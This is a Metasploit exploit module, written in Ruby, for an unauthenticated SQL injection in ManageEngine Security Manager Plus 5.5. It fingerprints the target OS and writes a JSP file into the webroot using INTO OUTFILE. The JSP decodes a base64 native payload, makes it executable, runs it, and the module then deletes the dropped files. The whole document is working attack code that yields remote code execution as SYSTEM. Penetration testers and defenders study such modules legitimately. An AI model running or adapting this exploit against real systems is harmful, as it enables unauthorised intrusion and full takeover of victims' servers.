## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection", 'Description' => %q{ This module exploits a SQL injection found in ManageEngine Security Manager Plus advanced search page, which results in remote code execution under the context of SYSTEM in Windows; or as the user in Linux. Authentication is not required in order to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'xistence ', # Discovery & Metasploit module 'sinn3r', # Improved Metasploit module 'egypt' # Improved Metasploit module ], 'References' => [ ['EDB','22094'], ['BID', '56138'] ], 'Platform' => ['win', 'linux'], 'Targets' => [ ['Automatic', {}], ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' }], ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => "Oct 18 2012")) register_options( [ OptPort.new('RPORT', [true, 'The target port', 6262]) ], self.class) end def check res = sqli_exec(Rex::Text.rand_text_alpha(1)) if res and res.body =~ /Error during search/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def pick_target return target if target.name != 'Automatic' rnd_num = Rex::Text.rand_text_numeric(1) rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt" outpath = "../../webapps/SecurityManager/#{rnd_fname}" @clean_ups << outpath sqli = "#{rnd_num})) union select @@version," sqli << (2..28).map {|e| e} * "," sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}" sqli_exec(sqli) res = send_request_raw({'uri'=>"/#{rnd_fname}"}) # What @@version returns: # Linux = 5.0.36-enterprise # Windows = 5.0.36-enterprise-nt if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/ print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}") return targets[1] # Windows target elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/ print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}") return targets[2] end return nil end # # We're in SecurityManager/bin at this point # def on_new_session(cli) if target['Platform'] == 'linux' print_warning("Malicious executable is removed during payload execution") end if cli.type == 'meterpreter' cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") end @clean_ups.each { |f| base = File.basename(f) f = "../webapps/SecurityManager/#{base}" print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"") begin if cli.type == 'meterpreter' cli.fs.file.rm(f) else del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del' f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win' cli.shell_command_token("#{del_cmd} \"#{f}\"") end print_good("#{rhost}:#{rport} - \"#{base}\" deleted") rescue ::Exception => e print_error("Unable to delete: #{e.message}") end } end # # Embeds our executable in JSP # def generate_jsp_payload opts = {:arch => @my_target.arch, :platform => @my_target.platform} native_payload = Rex::Text.encode_base64(generate_payload_exe(opts)) native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' var_raw = Rex::Text.rand_text_alpha(rand(8) + 3) var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3) var_buf = Rex::Text.rand_text_alpha(rand(8) + 3) var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3) var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3) var_path = Rex::Text.rand_text_alpha(rand(8) + 3) var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3) if @my_target['Platform'] == 'linux' var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) chmod = %Q| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) cleanup = %Q| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | else chmod = '' cleanup = '' end jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% byte[] #{var_raw} = null; BufferedOutputStream #{var_ostream} = null; try { String #{var_buf} = "#{native_payload}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); String #{var_path} = #{var_tmp}.getAbsolutePath(); #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); #{chmod} Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); #{cleanup} } catch (Exception e) { } %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp.unpack("H*")[0] end def sqli_exec(sqli_string) cookie = 'STATE_COOKIE=&' cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&' cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&' cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&' cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&' cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&' cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&' cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; ' cookie << '2RequestsshowThreadedReq=showThreadedReqshow; ' cookie << '2RequestshideThreadedReq=hideThreadedReqhide;' state_id = Rex::Text.rand_text_numeric(5) send_request_cgi({ 'method' => 'POST', 'uri' => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp", 'headers' => { 'Cookie' => cookie, 'Accept-Encoding' => 'identity' }, 'vars_get' => { 'reqType' =>'AdvanceSearch', 'SUBREQUEST' =>'XMLHTTP' }, 'vars_post' => { 'ANDOR' => 'and', 'condition_1' => 'OpenPorts@PORT', 'operator_1' => 'IN', 'value_1' => sqli_string, 'COUNT' => '1' } }) end # # Run the actual exploit # def inject_exec(out) hex_jsp = generate_jsp_payload rnd_num = Rex::Text.rand_text_numeric(1) sqli = "#{rnd_num})) union select 0x#{hex_jsp}," sqli << (2..28).map {|e| e} * "," sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}" print_status("#{rhost}:#{rport} - Trying SQL injection...") sqli_exec(sqli) fname = "/#{File.basename(out)}" print_status("#{rhost}:#{rport} - Requesting #{fname}") send_request_raw({'uri' => fname}) handler end def exploit # This is used to collect files we want to delete later @clean_ups = [] @my_target = pick_target if @my_target.nil? print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.") return end jsp_name = rand_text_alpha(rand(6)+3) outpath = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}" @clean_ups << outpath inject_exec(outpath) end end